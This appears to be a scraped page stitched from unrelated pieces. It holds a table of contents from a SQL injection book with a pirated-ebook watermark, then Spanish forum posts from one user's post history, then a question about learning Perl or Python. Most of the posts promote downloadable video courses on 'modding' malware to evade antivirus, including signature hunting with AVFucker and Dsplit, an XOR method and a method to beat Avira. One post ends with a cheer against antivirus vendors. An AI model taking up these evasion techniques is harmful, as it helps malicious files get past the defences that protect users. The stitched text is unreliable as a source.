Database Firewall. 394
Securing the Database . 395
Locking Down the Application Data. 395
Use the Least-Privileged Database Login. 395
Revoke PUBLIC Permissions. 396
Use Stored Procedures. 396
Use Strong Cryptography to Protect Stored Sensitive Data . 397
Maintaining an Audit Trail. 398
Oracle Error Triggers. 398
Locking Down the Database Server. 400
Additional Lockdown of System Objects. . . . . . . . . . . . . . . . . . . . . . . . 400
Restrict Ad Hoc Querying. 401
Strengthen Controls Surrounding Authentication . 401
Run in the Context of the Least-Privileged
Operating System Account . 401
Ensure That the Database Server Software Is Patched. 402
Additional Deployment Considerations. 403
Minimize Unnecessary Information Leakage. 403
Suppress Error Messages. 403
Use an Empty Default Web Site. 406
Use Dummy Host Names for Reverse DNS Lookups. 406
Use Wildcard SSL Certificates . 407
Limit Discovery via Search Engine Hacking. 407
Disable Web Services Description Language
(WSDL) Information. 408
More free ebooks : http://fast-file.blogspot.com
Contents xvii
Increase the Verbosity of Web Server Logs . 409
Deploy the Web and Database Servers on Separate Hosts. 409
Configure Network Access Control. 409
Summary. 410
Solutions Fast Track. 410
Frequently Asked Questions. 412
Chapter 10 References. 415
Introduction . 416
Structured Query Language (SQL) Primer. 416
SQL Queries. 416
SELECT Statement. 417
UNION Operator. 417
INSERT Statement. 418
UPDATE Statement. 418
DELETE Statement. 418
DROP Statement . 420
CREATE TABLE Statement . 420
ALTER TABLE Statement. 420
GROUP BY Statement. 421
ORDER BY Clause. 421
Limiting the Result Set . 421
SQL Injection Quick Reference. 422
Identifying the Database Platform. 422
Identifying the Database Platform via Time Delay Inference . 423
Identifying the Database Platform via SQL Dialect Inference. 423
Combining Multiple Rows into a Single Row. 424
Microsoft SQL Server Cheat Sheet. 425
Enumerating Database Configuration
Information and Schema. 425
Blind SQL Injection Functions: Microsoft SQL Server . 427
Microsoft SQL Server Privilege Escalation . 427
OPENROWSET Reauthentication Attack. 428
Attacking the Database Server: Microsoft SQL Server. 429
System Command Execution via xp_cmdshell . 429
xp_cmdshell Alternative. 430
Cracking Database Passwords. 430
Microsoft SQL Server 2005 Hashes . 431
File Read/Write. 431
More free ebooks : http://fast-file.blogspot.com
xviii Contents
MySQL Cheat Sheet . 431
Enumerating Database Configuration Information
and Schema . 431
Blind SQL Injection Functions: MySQL. 432
Attacking the Database Server: MySQL . 433
System Command Execution. 433
Cracking Database Passwords. 434
Attacking the Database Directly. 434
File Read/Write. 434
Oracle Cheat Sheet . 435
Enumerating Database Configuration Information
and Schema . 435
Blind SQL Injection Functions: Oracle. 436
Attacking the Database Server: Oracle. 437
Command Execution . 437
Reading Local Files. 437
Reading Local Files (PL/SQL Injection Only) . 438
Writing Local Files (PL/SQL Injection Only). 439
Cracking Database Passwords. 440
Bypassing Input Validation Filters . 440
Quote Filters. 440
HTTP Encoding . 442
Troubleshooting SQL Injection Attacks. 443
SQL Injection on Other Platforms. 446
PostgreSQL Cheat Sheet. 446
Enumerating Database Configuration Information
and Schema . 447
Blind SQL Injection Functions: PostgreSQL. 448
Attacking the Database Server: PostgreSQL. 448
System Command Execution. 448
Local File Access. 449
Cracking Database Passwords. 449
DB2 Cheat Sheet. 449
Enumerating Database Configuration Information
and Schema . 449
Blind SQL Injection Functions: DB2. 450
Informix Cheat Sheet. 451
Enumerating Database Configuration Information
and Schema . 451
Blind SQL Injection Functions: Informix. 452
More free ebooks : http://fast-file.blogspot.com
Contents xix
Ingres Cheat Sheet. 452
Enumerating Database Configuration Information
and Schema . 452
Blind SQL Injection Functions: Ingres . 453
Microsoft Access. 453
Resources . 453
SQL Injection White Papers. 453
SQL Injection Cheat Sheets. 454
SQL Injection Exploit Tools. 454
Password Cracking Tools. 455
Solutions Fast Track. 456
Index. 459

DESCARGAR -- > http://www.multiupload.com/E5REDO8VFI
#26
Hola amigos, les traigo un video-tuto mas, ahora en este les explico como hacer y como funciona el Dsplit, que como muchos sabemos es el que nos ayuda a sacar mas de 1 firma, espero les guste.

Detalles del video:

Video ".exe" (Hecho con SCREEN2EXE, muy bueno para hacer los videos)
Peso: 6.6 MB
Duracion: 12:24 Min

Link de Descarga: http://www.multiupload.com/GNI3TFCSAS

Nota: El video esta orientado a los mas nuevos en el tema, no esperen mucho solo es Dsplit (con Hex), su explicacion, su uso y como funciona.
Zalu2
#27
Ya que le colabore a mi amigo Decoder79 he decidido postear el curso completo por aca para que lo puedan seguir de forma mas completa, asi que a estudiar se ha dicho!

Primer Video:

Desde lo mas basico...

Descargar --> http://www.multiupload.com/6B83VV4JRM

Segundo Video:

Se explica el uso del DSplit

Descargar --> http://www.multiupload.com/7YUMNVM4IL

Tercera entrega:

El uso del RIT:

http://breaksecurity.blogspot.com/2011/09/curso-modding-para-newbies-ed3-by.html

Cuarta entrega:

Se explica el Metodo XOR:

Aquí os dejo el código utilizado en el videotutorial
http://www.multiupload.com/VFPYWI9E6I

Aquí os dejo el vídeo
http://www.multiupload.com/N1EY08FHOD

Espero le den buen uso, a joder a los Avs!.
#28
Bueno amigos, les dejo este Video-Tutorial donde explico el metodo Hex y como sacar firmas con AVFucker, si tienen dudas las pueden hacer por aca o abrir un tema respectivamente.

Les dejo el video (mala calidad ya que lo converti para disminuir peso)

[youtube=425,350]http://www.youtube.com/watch?v=deyXr7xgHJM&feature=player_embedded[/youtube]

Les dejo el video en Multiupload

http://www.multiupload.com/191PXIKWAC
por si alguien lo quiere descargar.

Comentar es agradecer.
Zalu2
#29
Hola amigos, les traigo este metodo que era privado para sacar el Avira.
Espero les guste y con esto se olviden de tener a ese Avira manchando el scann, este metodo es estilo "Variacion" del metodo DAF y el de Need solo que con otra herramienta, ustedes pueden hacerlo a su modo y descubriran cosas nuevas.

Detalles del Video:
Duracion del video: 11:02 Min
Formato .Exe
Hecho con Screen2Exe



"La informacion es libre para todos, pero no siempre es lo mejor"

Descargar --> http://www.multiupload.com/Q156PJSAEL
Pass:


CitarTWYIM=sn2AYmzojnO=Knygjn2v2mMGYI2QYnwoYIOAKmM4Km2v 2mxQjn0WYnKgYnw12n0SYmzoK82=Km1SYmwgYm0GslL=KnKWYm

(Modo de cifrado)
Armon-64 (keypress M0dFuck) -> Tripo-5 -> Reverser
#30
Hola hermanos , les traigo este pequeño Video-Tutorial sobre como buscar las firmas con AVFucker, mas explico el funcionamiento especifico de el y como hacer para encontrar la firma, lo que necesitamos para la practica son:

-Un editor Hexadecimal (Hex WorkShop)
-Un locator con AVFucker (como el indetectables offset locator 2.5)

Los programas los pueden encontrar aca

Les dejo el Video... (http://youtu.be/fXA6RhWnRNE)

[youtube=425,350]http://www.youtube.com/watch?v=fXA6RhWnRNE[/youtube]

Recuerden que es modding simple...
Espero les guste, comentar es agradecer.
Zalu2
#31
Programación General / ¿perl o python?
11 Octubre 2010, 04:11 AM
Hola a tod@s de esta buena comunidad, bueno primero a explicar la pregunta, miren sè Batch, Html, y he visto lo basico de Visual Basic, pero no me gusto eso de que te pongan el formulario y tu le vayas poniendo cosas y todo eso se me hizo muy facil y no me gusto, he investigado mucho sobre un buen lenguaje de programacion y he llegado a la conclusion de 5 (aparte de los de la web) los cuales son; C/C++, ASM, Java, Python, Perl, he llegado a el pensamiento de que va a llegar un momento en que tenga que aprender C(y sus derivados), ASM, y Java (por simple gusto), pero pienso que deberia de empezar por python o perl, me he visto decenas de foros y no estoy seguro aun, porque muchos se inclinan a Python por su potencia y sencillez de aprendizaje, y otros tantos a Perl por su potencia y dicen que en algun momento se debera de aprender este lenguaje por lo que implica. Bueno como me estoy extendiendo mucho mejor ya acabo, asi que cual es mejor, Python o Perl???.